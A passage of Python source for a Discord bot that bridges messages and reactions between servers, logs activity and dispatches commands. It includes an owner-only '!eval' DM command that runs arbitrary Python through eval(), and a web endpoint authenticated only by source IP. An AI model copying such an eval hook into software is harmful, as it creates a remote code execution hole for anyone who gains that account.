discord.Forbidden:\n return await messagefuncs.sendWrappedMessage(\n f\"Unable to remove original message for nickmask in {message.channel}! I need the manage messages permission to do that.\",\n user,\n )\n\n async def web_handler(self, request):\n json = await request.json()\n channel_config = ch.scope_config(\n guild=json[\"guild_id\"], channel=json[\"channel_id\"]\n )\n if request.remote == channel_config.get(\"remote_ip\", None):\n channel = self.client.get_guild(json[\"guild_id\"]).get_channel(\n json[\"channel_id\"]\n )\n await messagefuncs.sendWrappedMessage(json[\"message\"], channel)\n return web.Response(status=200)\n return web.Response(status=400)\n\n async def reaction_handler(self, reaction):\n with configure_scope() as scope:\n try:\n global config\n messageContent = str(reaction.emoji)\n channel = self.client.get_channel(reaction.channel_id)\n if not channel:\n logger.info(\"Channel does not exist\")\n return\n scope.set_tag(\n \"channel\",\n channel.name if type(channel) is not discord.DMChannel else \"DM\",\n )\n message = await channel.fetch_message(reaction.message_id)\n if message.guild:\n user = message.guild.get_member(reaction.user_id)\n scope.set_tag(\"guild\", message.guild.name)\n else:\n user = self.client.get_user(reaction.user_id)\n scope.user = {\"id\": reaction.user_id, \"username\": str(user)}\n admin = self.is_admin(message, user)\n args = [reaction, user, \"add\"]\n try:\n guild_config = self.scope_config(guild=message.guild)\n channel_config = self.scope_config(\n guild=message.guild, channel=message.channel\n )\n except (AttributeError, ValueError) as e:\n if \"guild\" in str(e):\n # DM configuration, default to none\n guild_config = {}\n channel_config = {}\n if type(channel) is discord.TextChannel:\n logger.info(\n f\"#{channel.guild.name}:{channel.name} <{user.name if user else 'Unknown User'}:{reaction.user_id}> reacting with {messageContent} to {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": channel.guild.name,\n \"CHANNEL_IDENTIFIER\": channel.name,\n \"SENDER_NAME\": user.name if user else \"Unkown User\",\n \"SENDER_ID\": reaction.user_id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n elif type(channel) is discord.DMChannel:\n logger.info(\n f\"@{channel.recipient.name} <{user.name if user else 'Unkown User'}:{reaction.user_id}> reacting with {messageContent} to {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": channel.recipient.name,\n \"SENDER_NAME\": user.name if user else \"Unkown User\",\n \"SENDER_ID\": reaction.user_id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n if (\n channel_config.get(\"blacklist-emoji\")\n and not admin[\"channel\"]\n and messageContent in channel_config.get(\"blacklist-emoji\")\n ):\n logger.info(\"Emoji removed by blacklist\")\n return await message.remove_reaction(messageContent, user)\n if guild_config.get(\"subscribe\", {}).get(message.id):\n for user_id in guild_config.get(\"subscribe\", {}).get(message.id):\n preview_message = await messagefuncs.sendWrappedMessage(\n f\"{user.display_name} ({user.name}#{user.discriminator}) reacting with {messageContent} to https://discordapp.com/channels/{message.guild.id}/{message.channel.id}/{message.id}\",\n message.guild.get_member(user_id),\n )\n await messagefuncs.preview_messagelink_function(\n preview_message, self.client, None\n )\n args = [reaction, user, \"add\"]\n scoped_command = None\n if (\n self.message_reaction_handlers.get(message.id)\n and self.message_reaction_handlers.get(message.id).get(\n \"scope\", \"message\"\n )\n != \"channel\"\n ):\n scoped_command = self.message_reaction_handlers[message.id]\n elif (\n self.message_reaction_handlers.get(channel.id)\n and self.message_reaction_handlers.get(channel.id).get(\n \"scope\", \"message\"\n )\n == \"channel\"\n ):\n scoped_command = self.message_reaction_handlers[channel.id]\n if scoped_command:\n logger.debug(scoped_command)\n if (\n messageContent.startswith(tuple(scoped_command[\"trigger\"]))\n and self.allowCommand(scoped_command, message, user=user)\n and not scoped_command.get(\"remove\", False)\n and scoped_command[\"args_num\"] == 0\n ):\n await self.run_command(scoped_command, message, args, user)\n else:\n for command in self.get_command(\n messageContent, message, max_args=0\n ):\n if not command.get(\"remove\", False):\n await self.run_command(command, message, args, user)\n try:\n if type(\n channel\n ) is discord.TextChannel and self.webhook_sync_registry.get(\n channel.guild.name + \":\" + channel.name\n ):\n if reaction.emoji.is_custom_emoji():\n processed_emoji = self.client.get_emoji(reaction.emoji.id)\n else:\n processed_emoji = reaction.emoji.name\n if processed_emoji is None:\n image = (\n await netcode.simple_get_image(\n f\"https://cdn.discordapp.com/emojis/{reaction.emoji.id}.png?v=1\"\n )\n ).read()\n emoteServer = self.client.get_guild(\n config.get(\n section=\"discord\", key=\"emoteServer\", default=0\n )\n )\n try:\n processed_emoji = await emoteServer.create_custom_emoji(\n name=reaction.emoji.name,\n image=image,\n reason=f\"messagemap sync code\",\n )\n except discord.Forbidden:\n logger.error(\"discord.emoteServer misconfigured!\")\n except discord.HTTPException:\n await random.choice(emoteServer.emojis).delete()\n processed_emoji = await emoteServer.create_custom_emoji(\n name=reaction.emoji.name,\n image=image,\n reason=f\"messagemap sync code\",\n )\n if not processed_emoji:\n return\n cur = conn.cursor()\n cur.execute(\n \"SELECT fromguild, fromchannel, frommessage FROM messagemap WHERE toguild = %s AND tochannel = %s AND tomessage = %s LIMIT 1;\",\n [message.guild.id, message.channel.id, message.id],\n )\n metuple = cur.fetchone()\n conn.commit()\n if metuple is not None:\n fromGuild = self.client.get_guild(metuple[0])\n fromChannel = fromGuild.get_channel(metuple[1])\n fromMessage = await fromChannel.fetch_message(metuple[2])\n if fromMessage.author.id in config.get(\n section=\"moderation\",\n key=\"blacklist-user-usage\",\n default=[],\n ):\n logger.debug(\n \"Demurring to bridge reaction to message of users on the blacklist\"\n )\n return\n logger.debug(f\"RXH: {processed_emoji} -> {fromMessage.id}\")\n syncReaction = await fromMessage.add_reaction(\n processed_emoji\n )\n # cur = conn.cursor()\n # cur.execute(\n # \"UPDATE messagemap SET reactions = reactions || %s WHERE toguild = %s AND tochannel = %s AND tomessage = %s;\",\n # [\n # str(processed_emoji),\n # message.guild.id,\n # message.channel.id,\n # message.id,\n # ],\n # )\n # conn.commit()\n cur = conn.cursor()\n cur.execute(\n \"SELECT toguild, tochannel, tomessage FROM messagemap WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s LIMIT 1;\",\n [message.guild.id, message.channel.id, message.id],\n )\n metuple = cur.fetchone()\n conn.commit()\n if metuple is not None:\n toGuild = self.client.get_guild(metuple[0])\n toChannel = toGuild.get_channel(metuple[1])\n toMessage = await toChannel.fetch_message(metuple[2])\n if not toMessage:\n return\n if toMessage.author.id in config.get(\n section=\"moderation\",\n key=\"blacklist-user-usage\",\n default=[],\n ):\n logger.debug(\n \"Demurring to bridge reaction to message of users on the blacklist\"\n )\n return\n logger.debug(f\"RXH: {processed_emoji} -> {toMessage.id}\")\n syncReaction = await toMessage.add_reaction(processed_emoji)\n # cur = conn.cursor()\n # cur.execute(\n # f'UPDATE messagemap SET reactions = reactions || %s WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s;',\n # [\n # str(processed_emoji),\n # message.guild.id,\n # message.channel.id,\n # message.id,\n # ],\n # )\n # conn.commit()\n except discord.InvalidArgument as e:\n if \"cur\" in locals() and \"conn\" in locals():\n conn.rollback()\n pass\n except Exception as e:\n if \"cur\" in locals() and \"conn\" in locals():\n conn.rollback()\n exc_type, exc_obj, exc_tb = exc_info()\n logger.debug(traceback.format_exc())\n logger.error(f\"RXH[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n async def reaction_remove_handler(self, reaction):\n with configure_scope() as scope:\n try:\n global config\n messageContent = str(reaction.emoji)\n channel = self.client.get_channel(reaction.channel_id)\n if not channel:\n logger.info(\"Channel does not exist\")\n return\n scope.set_tag(\n \"channel\",\n channel.name if type(channel) is not discord.DMChannel else \"DM\",\n )\n if type(channel) == discord.DMChannel:\n user = self.client.get_user(reaction.user_id)\n else:\n user = channel.guild.get_member(reaction.user_id)\n scope.set_tag(\"guild\", channel.guild.name)\n scope.user = {\"id\": user.id, \"username\": str(user)}\n message = await channel.fetch_message(reaction.message_id)\n if type(channel) is discord.TextChannel:\n logger.info(\n f\"#{channel.guild.name}:{channel.name} <{user.name}:{user.id}> unreacting with {messageContent} from {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": channel.guild.name,\n \"CHANNEL_IDENTIFIER\": channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n elif type(channel) is discord.DMChannel:\n logger.info(\n f\"@{channel.recipient.name} <{user.name}:{user.id}> unreacting with {messageContent} from {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n args = [reaction, user, \"remove\"]\n try:\n guild_config = self.scope_config(guild=message.guild)\n channel_config = self.scope_config(\n guild=message.guild, channel=message.channel\n )\n except (AttributeError, ValueError) as e:\n if \"guild\" in str(e):\n # DM configuration, default to none\n guild_config = {}\n channel_config = {}\n if guild_config.get(\"subscribe\", {}).get(message.id):\n for user_id in guild_config.get(\"subscribe\", {}).get(message.id):\n preview_message = await messagefuncs.sendWrappedMessage(\n f\"{user.display_name} ({user.name}#{user.discriminator}) removed reaction of {messageContent} from https://discordapp.com/channels/{message.guild.id}/{message.channel.id}/{message.id}\",\n message.guild.get_member(user_id),\n )\n await messagefuncs.preview_messagelink_function(\n preview_message, self.client, None\n )\n command = self.message_reaction_remove_handlers.get(message.id)\n if command and self.allowCommand(command, message, user=user):\n await self.run_command(command, message, args, user)\n for command in self.get_command(messageContent, message, max_args=0):\n if self.allowCommand(command, message, user=user) and command.get(\n \"remove\"\n ):\n await self.run_command(command, message, args, user)\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"RRH[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n async def remove_handler(self, user):\n global config\n with configure_scope() as scope:\n scope.user = {\"id\": user.id, \"username\": str(user)}\n scope.set_tag(\"guild\", user.guild.name)\n member_remove_actions = config.get(\n guild=user.guild, key=\"on_member_remove_list\", default=[]\n )\n for member_remove_action in member_remove_actions:\n if member_remove_action in self.remove_handlers.keys():\n await self.remove_handlers[member_remove_action](\n user, self.client, self.scope_config(guild=user.guild)\n )\n else:\n logger.error(\n f\"Unknown member_remove_action [{member_remove_action}]\"\n )\n\n async def join_handler(self, user):\n with configure_scope() as scope:\n scope.user = {\"id\": user.id, \"username\": str(user)}\n scope.set_tag(\"guild\", user.guild.name)\n member_join_actions = config.get(\n guild=user.guild, key=\"on_member_join_list\", default=[]\n )\n for member_join_action in member_join_actions:\n if member_join_action in self.join_handlers.keys():\n await self.join_handlers[member_join_action](\n user, self.client, self.scope_config(guild=user.guild)\n )\n else:\n logger.error(f\"Unknown member_join_action [{member_join_action}]\")\n\n async def channel_update_handler(self, before, after):\n if not before.guild:\n return\n scoped_config = self.scope_config(guild=before.guild)\n if type(before) == discord.TextChannel and before.name != after.name:\n logger.info(\n f\"#{before.guild.name}:{before.name} Name changed from {before.name} to {after.name}\",\n extra={\n \"GUILD_IDENTIFIER\": before.guild.name,\n \"CHANNEL_IDENTIFIER\": before.name,\n },\n )\n if scoped_config.get(\"name_change_notify\", False):\n await messagefuncs.sendWrappedMessage(\n scoped_confg.get(\n \"name_change_notify_prefix\",\n \"Name changed from {before.name} to {after.name}\",\n ).format(before=before, after=after),\n after,\n )\n if type(before) == discord.TextChannel and before.topic != after.topic:\n logger.info(\n f\"#{before.guild.name}:{before.name} Topic changed from {before.topic} to {after.topic}\",\n extra={\n \"GUILD_IDENTIFIER\": before.guild.name,\n \"CHANNEL_IDENTIFIER\": before.name,\n },\n )\n if scoped_config.get(\"topic_change_notify\", False):\n await messagefuncs.sendWrappedMessage(\n scoped_confg.get(\n \"topic_change_notify_prefix\",\n \"Topic changed from {before.topic} to {after.topic}\",\n ).format(before=before, after=after),\n after,\n )\n\n async def reload_handler(self):\n try:\n loop = asyncio.get_event_loop()\n # Trigger reload handlers\n successful_events = []\n for guild in self.client.guilds:\n reload_actions = self.scope_config(guild=guild).get(\n \"on_reload_list\", []\n )\n for reload_action in reload_actions:\n if reload_action in self.reload_handlers.keys():\n loop.create_task(\n self.reload_handlers[reload_action](\n guild, self.client, self.scope_config(guild=guild)\n )\n )\n successful_events.append(f\"{guild.name}: {reload_action}\")\n else:\n logger.error(f\"Unknown reload_action [{reload_action}]\")\n return successful_events\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"RLH[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n @cached(TTLCache(1024, 86400))\n async def fetch_webhook_cached(self, webhook_id):\n try:\n webhook = await self.client.fetch_webhook(webhook_id)\n except discord.Forbidden:\n logger.debug(\n f\"Fetch webhook failed for {webhook_id} due to missing permissions\"\n )\n webhook = discord.Webhook.partial(\n -1, \"loading-forbidden\", adapter=discord.RequestsWebhookAdapter()\n )\n return webhook\n\n async def bridge_message(self, message):\n global conn\n try:\n if not message.guild:\n return\n except AttributeError:\n return\n bridge_key = f\"{message.guild.name}:{message.channel.name}\"\n bridge = self.webhook_sync_registry.get(bridge_key)\n if not bridge:\n return\n sync = self.config.get(section=\"sync\")\n user = message.author\n # if the message is from the bot itself or sent via webhook, which is usually done by a bot, ignore it other than sync processing\n if message.webhook_id:\n webhook = await self.fetch_webhook_cached(message.webhook_id)\n if webhook.name not in sync.get(\"whitelist-webhooks\", []):\n if not webhook.name.startswith(\n self.config.get(section=\"discord\", key=\"botNavel\")\n ):\n logger.debug(\"Webhook isn't whitelisted for bridging\")\n return\n ignores = list(\n filter(\n \"\".__ne__,\n sync.get(f\"tupper-ignore-{message.guild.id}\", [])\n + sync.get(f\"tupper-ignore-m{user.id}\", []),\n )\n )\n if (\n not message.webhook_id\n and len(ignores)\n and message.content.startswith(tuple(ignores))\n ):\n logger.debug(f\"Prefix in {tuple(ignores)}, not bridging\")\n return\n content = message.content or \" \"\n attachments = []\n if len(message.attachments) > 0:\n if message.channel.is_nsfw() and not bridge[\"toChannelObject\"].is_nsfw():\n content += f\"\\n {len(message.attachments)} file{'s' if len(message.attachments) > 1 else ''} attached from an R18 channel.\"\n for attachment in message.attachments:\n content += f\"\\n• <{attachment.url}>\"\n else:\n for attachment in message.attachments:\n logger.debug(f\"Syncing {attachment.filename}\")\n attachment_blob = io.BytesIO()\n await attachment.save(attachment_blob)\n attachments.append(\n discord.File(attachment_blob, attachment.filename)\n )\n toMember = bridge[\"toChannelObject\"].guild.get_member(user.id)\n fromMessageName = toMember.display_name if toMember else user.display_name\n # wait=True: blocking call for messagemap insertions to work\n syncMessage = None\n try:\n syncMessage = await bridge[\"toWebhook\"].send(\n content=content,\n username=fromMessageName,\n avatar_url=user.avatar_url_as(format=\"png\", size=128),\n embeds=message.embeds,\n tts=message.tts,\n files=attachments,\n wait=True,\n allowed_mentions=discord.AllowedMentions(\n users=False, roles=False, everyone=False\n ),\n )\n except discord.HTTPException as e:\n if attachments:\n content += f\"\\n {len(message.attachments)} file{'s' if len(message.attachments) > 1 else ''} attached (too large to bridge).\"\n for attachment in message.attachments:\n content += f\"\\n• <{attachment.url}>\"\n syncMessage = await bridge[\"toWebhook\"].send(\n content=content,\n username=fromMessageName,\n avatar_url=user.avatar_url_as(format=\"png\", size=128),\n embeds=message.embeds,\n tts=message.tts,\n wait=True,\n allowed_mentions=discord.AllowedMentions(\n users=False, roles=False, everyone=False\n ),\n )\n if not syncMessage:\n return\n try:\n cur = conn.cursor()\n cur.execute(\n \"INSERT INTO messagemap (fromguild, fromchannel, frommessage, toguild, tochannel, tomessage) VALUES (%s, %s, %s, %s, %s, %s);\",\n [\n message.guild.id,\n message.channel.id,\n message.id,\n syncMessage.guild.id,\n syncMessage.channel.id,\n syncMessage.id,\n ],\n )\n conn.commit()\n except Exception as e:\n if \"cur\" in locals() and \"conn\" in locals():\n conn.rollback()\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"B[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n async def edit_handler(self, message):\n fromMessage = message\n fromChannel = message.channel\n if hasattr(message, \"guild\"):\n fromGuild = message.guild\n else:\n fromGuild = None\n if len(fromMessage.content) > 0:\n if type(fromChannel) is discord.TextChannel:\n logger.info(\n f\"{message.id} #{fromGuild.name}:{fromChannel.name} <{fromMessage.author.name}:{fromMessage.author.id}> [Edit] {fromMessage.content}\",\n extra={\n \"GUILD_IDENTIFIER\": fromGuild.name,\n \"CHANNEL_IDENTIFIER\": fromChannel.name,\n \"SENDER_NAME\": fromMessage.author.name,\n \"SENDER_ID\": fromMessage.author.id,\n \"MESSAGE_ID\": str(fromMessage.id),\n },\n )\n elif type(fromChannel) is discord.DMChannel:\n logger.info(\n f\"{message.id} @{fromChannel.recipient.name} <{fromMessage.author.name}:+{fromMessage.author.id}> [Edit] {fromMessage.content}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": fromChannel.recipient,\n \"SENDER_NAME\": fromMessage.author.name,\n \"SENDER_ID\": fromMessage.author.id,\n \"MESSAGE_ID\": str(fromMessage.id),\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n else:\n # Currently, we don't log empty or image-only messages\n pass\n if fromGuild and self.webhook_sync_registry.get(\n f\"{fromGuild.name}:{fromChannel.name}\"\n ):\n await asyncio.sleep(1)\n cur = conn.cursor()\n query_params = [fromGuild.id, fromChannel.id, message.id]\n cur.execute(\n \"SELECT toguild, tochannel, tomessage FROM messagemap WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s LIMIT 1;\",\n query_params,\n )\n metuple = cur.fetchone()\n conn.commit()\n logger.debug(f\"[Bridge] {query_params} -> {metuple}\")\n else:\n metuple = None\n if metuple is not None:\n toGuild = self.client.get_guild(metuple[0])\n toChannel = toGuild.get_channel(metuple[1])\n toMessage = await toChannel.fetch_message(metuple[2])\n if message.pinned:\n await toMessage.pin()\n return\n if not self.config.get(\n key=\"sync-edits\",\n guild=toGuild.id,\n channel=toChannel.id,\n use_category_as_channel_fallback=False,\n ):\n logger.debug(f\"ORMU: Demurring to edit message at client guild request\")\n return\n if self.config.get(\n key=\"sync-deletions\",\n guild=toGuild.id,\n channel=toChannel.id,\n use_category_as_channel_fallback=False,\n ):\n try:\n await toMessage.delete()\n except discord.NotFound:\n return\n except discord.Forbidden:\n logger.info(\n f\"Unable to remove original message for bridge in {message.channel}! I need the manage messages permission to do that.\"\n )\n content = fromMessage.clean_content\n attachments = []\n if len(fromMessage.attachments) > 0:\n plural = \"\"\n if len(fromMessage.attachments) > 1:\n plural = \"s\"\n if (\n fromMessage.channel.is_nsfw()\n and not self.webhook_sync_registry[\n f\"{fromMessage.guild.name}:{fromMessage.channel.name}\"\n ][\"toChannelObject\"].is_nsfw()\n ):\n content = f\"{content}\\n {len(message.attachments)} file{plural} attached from an R18 channel.\"\n for attachment in fromMessage.attachments:\n content = f\"{content}\\n• <{attachment.url}>\"\n else:\n for attachment in fromMessage.attachments:\n logger.debug(f\"Syncing {attachment.filename}\")\n attachment_blob = io.BytesIO()\n await attachment.save(attachment_blob)\n attachments.append(\n discord.File(attachment_blob, attachment.filename)\n )\n fromMessageName = fromMessage.author.display_name\n if toGuild.get_member(fromMessage.author.id) is not None:\n fromMessageName = toGuild.get_member(fromMessage.author.id).display_name\n syncMessage = await self.webhook_sync_registry[\n f\"{fromMessage.guild.name}:{fromMessage.channel.name}\"\n ][\"toWebhook\"].send(\n content=content,\n username=fromMessageName,\n avatar_url=fromMessage.author.avatar_url_as(format=\"png\", size=128),\n embeds=fromMessage.embeds,\n tts=fromMessage.tts,\n files=attachments,\n wait=True,\n allowed_mentions=discord.AllowedMentions(\n users=False, roles=False, everyone=False\n ),\n )\n cur = conn.cursor()\n cur.execute(\n \"UPDATE messagemap SET toguild = %s, tochannel = %s, tomessage = %s WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s;\",\n [\n syncMessage.guild.id,\n syncMessage.channel.id,\n syncMessage.id,\n message.guild.id,\n message.channel.id,\n message.id,\n ],\n )\n conn.commit()\n await self.tupper_proc(message)\n\n async def command_handler(self, message):\n global config\n global sid\n global conn\n\n user = message.author\n global Ans\n if (\n user.id == 382984420321263617\n and type(message.channel) is discord.DMChannel\n and message.content.startswith(\"!eval \")\n ):\n content = message.content[6:]\n try:\n if content.startswith(\"await\"):\n result = eval(content[6:])\n result = await result\n else:\n result = eval(content)\n if result:\n await messagefuncs.sendWrappedMessage(str(result), user)\n Ans = result\n except Exception as e:\n await messagefuncs.sendWrappedMessage(\n f\"{traceback.format_exc()}\\nEVAL: {type(e).__name__} {e}\", user\n )\n\n await self.bridge_message(message)\n if user == client.user:\n logger.info(\n f\"{message.id} #{message.guild.name if message.guild else 'DM'}:{message.channel.name if message.guild else message.channel.recipient.name} <{user.name}:{user.id}> {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name if message.guild else None,\n \"CHANNEL_IDENTIFIER\": message.channel.name\n if message.guild\n else message.channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n return\n\n if message.webhook_id:\n webhook = await self.fetch_webhook_cached(message.webhook_id)\n if webhook.name not in self.config.get(\n key=\"whitelist-webhooks\", section=\"sync\", default=[]\n ):\n return\n guild_config = self.config.get(guild=message.guild, default={})\n channel_config = self.config.get(channel=message.channel, default={})\n\n try:\n blacklist_category = guild_config.get(\"automod-blacklist-category\", [])\n blacklist_channel = guild_config.get(\"automod-blacklist-channel\", [])\n if (\n type(message.channel) is discord.TextChannel\n and message.channel.category_id not in blacklist_category\n and message.channel.id not in blacklist_channel\n ):\n sent_com_score = sid.polarity_scores(message.content)[\"compound\"]\n if message.content == \"VADER NEUTRAL\":\n sent_com_score = 0\n elif message.content == \"VADER GOOD\":\n sent_com_score = 1\n elif message.content == \"VADER BAD\":\n sent_com_score = -1\n logger.info(\n f\"{message.id} #{message.guild.name}:{message.channel.name} <{user.name}:{user.id}> [{sent_com_score}] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name,\n \"CHANNEL_IDENTIFIER\": message.channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n \"SENT_COM_SCORE\": sent_com_score,\n },\n )\n if (\n guild_config.get(\"sent-com-score-threshold\")\n and sent_com_score\n <= float(guild_config[\"sent-com-score-threshold\"])\n and message.webhook_id is None\n and message.guild.name\n in config.get(section=\"moderation\", key=\"guilds\")\n ):\n await janissary.modreport_function(\n message,\n self.client,\n (\n \"\\n[Sentiment Analysis Combined Score \"\n + str(sent_com_score)\n + \"] \"\n + message.system_content\n ).split(\" \"),\n )\n else:\n if type(message.channel) is discord.TextChannel:\n logger.info(\n f\"{message.id} #{message.guild.name}:{message.channel.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name,\n \"CHANNEL_IDENTIFIER\": message.channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n elif type(message.channel) is discord.DMChannel:\n logger.info(\n f\"{message.id} @{message.channel.recipient.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": message.channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n except AttributeError as e:\n if type(message.channel) is discord.TextChannel:\n logger.info(\n f\"{message.id} #{message.guild.name}:{message.channel.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name,\n \"CHANNEL_IDENTIFIER\": message.channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n elif type(message.channel) is discord.DMChannel:\n logger.info(\n f\"{message.id} @{message.channel.recipient.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": message.channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n pass\n await self.tupper_proc(message)\n if (\n messagefuncs.extract_identifiers_messagelink.search(message.content)\n or messagefuncs.extract_previewable_link.search(message.content)\n ) and not message.content.startswith((\"!preview\", \"!blockquote\", \"!xreact\")):\n if user.id not in config.get(\n section=\"moderation\", key=\"blacklist-user-usage\"\n ):\n await messagefuncs.preview_messagelink_function(\n message, self.client, None\n )\n if \"rot13\" in message.content:\n if user.id not in config.get(\n section=\"moderation\", key=\"blacklist-user-usage\"\n ):\n await message.add_reaction(\n self.client.get_emoji(\n int(config.get(\"discord\", {}).get(\"rot13\", \"clock1130\"))\n )\n )\n searchString = message.content\n if self.tag_id_as_command.search(searchString):\n searchString = self.tag_id_as_command.sub(\"!\", searchString)\n if len(searchString) and searchString[-1] == \"!\":\n searchString = \"!\" + searchString[:-1]\n if config[\"interactivity\"][\"enhanced-command-finding\"] == \"on\":\n if len(searchString) and searchString[-1] == \"!\":\n searchString = \"!\" + searchString[:-1]\n searchString = self.bang_remover.sub(\"!\", searchString)\n searchString = searchString.rstrip()\n if channel_config.get(\"regex\") == \"pre-command\" and (\n channel_config.get(\"regex-tyranny\", \"On\") == \"Off\"\n or not message.channel.permissions_for(user).manage_messages\n ):\n continue_flag = await greeting.regex_filter(\n message, self.client, channel_config\n )\n if not continue_flag:\n return\n args = list(filter(\"\".__ne__, searchString.split(\" \")))\n if len(args):\n args.pop(0)\n for command in self.get_command(\n searchString, message, mode=\"keyword_trie\", max_args=len(args)\n ):\n await self.run_command(command, message, args, user)\n # Run at most one command\n break\n if guild_config.get(\"hotwords_loaded\"):\n for hotword in filter(\n lambda hw: (type(hw) is Hotword)\n and (len(hw.user_restriction) == 0)\n or (user.id in hw.user_restriction),\n regex_cache.get(message.guild.id, []),\n ):\n if hotword.compiled_regex.search(message.content):\n for command in hotword.target:\n await command(message, self.client, args)\n if channel_config.get(\"regex\") == \"post-command\" and (\n channel_config.get(\"regex-tyranny\", \"On\") == \"Off\"\n or not message.channel.permissions_for(user).manage_messages\n ):\n continue_flag = await greeting.regex_filter(\n message, self.client, channel_config\n )\n if not continue_flag:\n return\n\n async def run_command(self, command, message, args, user):\n if command.get(\"long_run\") == \"author\":\n await user.trigger_typing()\n elif command.get(\"long_run\"):\n await message.channel.trigger_typing()\n logger.debug(f\"[CH] Triggered {command}\")\n if user.id in self.scope_config()[\"moderation\"].get(\"blacklist-user-usage\"):\n raise Exception(f\"Blacklisted command attempt by user {user}\")\n if command[\"async\"]:\n await command[\"function\"](message, self.client, args)\n else:\n await messagefuncs.sendWrappedMessage(\n str(command[\"function\"](message, self.client, args)), message.channel\n )\n\n def whitelist_command(self, command_name, guild_id):\n commands = self.get_command(\"!\" + command_name)\n if not commands:\n commands = self.get_command(command_name)\n if len(commands):\n for command in commands:\n if command.get(\"blacklist_guild\") and guild_id in command.get(\n \"blacklist_guild\"\n ):\n command[\"blacklist_guild\"].remove(guild_id)\n logger.debug(\n f\"Whitelist overwrites blacklist for {command} on guild {guild_id}\"\n )\n else:\n logger.error(\n f\"Couldn't find {command_name} for whitelisting on guild {guild_id}\"\n )\n\n def whitelist_limit_command(self, command_name, guild_id):\n commands = self.get_command(\"!\" + command_name)\n if not commands:\n commands = self.get_command(command_name)\n if len(commands):\n for command in commands:\n if not command.get(\"whitelist_guild\"):\n command[\"whitelist_guild\"] = []\n command[\"whitelist_guild\"].append(guild_id)\n logger.debug(f\"Whitelisting {command} on guild {guild_id}\")\n else:\n logger.error(\n f\"Couldn't find {command_name} for whitelisting on guild {guild_id}\"\n )\n\n def blacklist_command(self, command_name, guild_id):\n if command_name == \"all\":\n commands = self.commands\n else:\n commands = self.get_command(\"!\" + command_name)\n if not len(commands):\n commands = self.get_command(command_name)\n if len(commands):\n for command in commands:\n if not command.get(\"blacklist_guild\"):\n command[\"blacklist_guild\"] = []\n command[\"blacklist_guild\"].append(guild_id)\n logger.debug(f\"Blacklisting {command} on guild {guild_id}\")\n else:\n logger.error(\n f\"Couldn't find {command_name} for blacklisting on guild {guild_id}\"\n )\n\n def scope_config(self, message=None, channel=None, guild=None, mutable=False):\n if guild is None:\n if channel and type(channel) != discord.DMChannel:\n guild = channel.guild\n elif message and type(channel) != discord.DMChannel:\n guild = message.guild\n else:\n return self.config\n if channel is None:\n if message:\n channel = message.channel\n if guild and type(guild) is not int:\n guild = guild.id\n if channel and type(channel) is not int:\n channel = channel.id\n try:\n if mutable:\n return self.config.get(guild=guild, channel=channel)\n else:\n return dict(self.config.get(guild=guild, channel=channel))\n except TypeError:\n return {}\n\n @lru_cache(maxsize=256)\n def user_config(self, user, guild, key, value=None, allow_global_substitute=False):\n cur = conn.cursor()\n if not value:\n if guild:\n if allow_global_substitute:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id = %s OR guild_id IS NULL AND key = %s ORDER BY guild_id LIMIT 1;\",\n [user, guild, key],\n )\n else:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id 